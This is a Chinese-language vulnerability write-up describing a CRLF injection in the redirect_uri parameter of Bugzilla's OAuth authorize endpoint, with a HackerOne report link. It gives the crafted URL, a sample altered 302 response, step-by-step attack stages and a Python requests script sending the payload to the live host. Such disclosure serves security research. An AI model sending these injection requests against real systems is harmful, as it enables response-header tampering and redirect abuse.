https://bugzilla.mozilla.org/oauth/authorize?client_id=someClientID&redirect_uri=https://example.com&response_type=code
在正常情况下,redirect_uri是一个合法的URL,服务器会在用户授权后将用户重定向到该URL,同时附带授权码。
攻击后的请求:
https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code
在攻击场景中,redirect_uri参数包含了CRLF字符(%0d%0a),它在HTTP头部中起到换行符的作用。服务器在处理这个请求时,会将CRLF之后的内容(例如xxx:something)解释为一个新的HTTP头部字段。最终的HTTP响应可能如下:
HTTP/2 302
...
location: xxx: something?error=invalid_scope
在这种情况下,location头部被修改为xxx: something?error=invalid_scope,这可能会引发不预期的行为或进一步的安全问题。
步骤1:构造恶意URL 攻击者首先对redirect_uri参数添加一个恶意的URL,其中包含CRLF编码(%0d%0a
),例如:
https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code
步骤2:发送请求
攻击者将这个恶意URL发送给目标服务器。由于redirect_uri
参数中的CRLF,服务器在解析时会将xxx:something
识别为新的HTTP头部字段。
步骤3:服务器解析并生成响应
服务器根据这个恶意的redirect_uri生成HTTP响应。由于CRLF的注入,服务器错误地解析并生成了不符合预期的HTTP头部,导致location字段发生变化。
步骤4:客户端接收并处理响应
客户端(如浏览器)收到服务器的302重定向响应,并按照被篡改的location头部进行重定向,可能导致用户被引导到一个恶意或不安全的页面。
示例代码:
import requests# 构造恶意请求URL
url = "https://bugzilla.mozilla.org/oauth/authorize"
params = {
'client_id': '',
'redirect_uri': '\r\nxxx:something',
'response_type': 'code'
}
# 发送请求
response = requests.get(url, params=params)
# 打印HTTP响应头
print(response.headers)
\r\n代表CRLF字符(Carriage Return + Line Feed)。
xxx:something是注入的伪造头部,服务器将其解释为一个新的HTTP头部字段。
最终,客户端接收到的响应中,location字段会被伪造,并指向恶意或非预期的目标。
通过这些步骤,攻击者可以对响应进行某种程度的控制,影响客户端的行为或进一步利用这一漏洞进行攻击。
https://hackerone.com/reports/2147132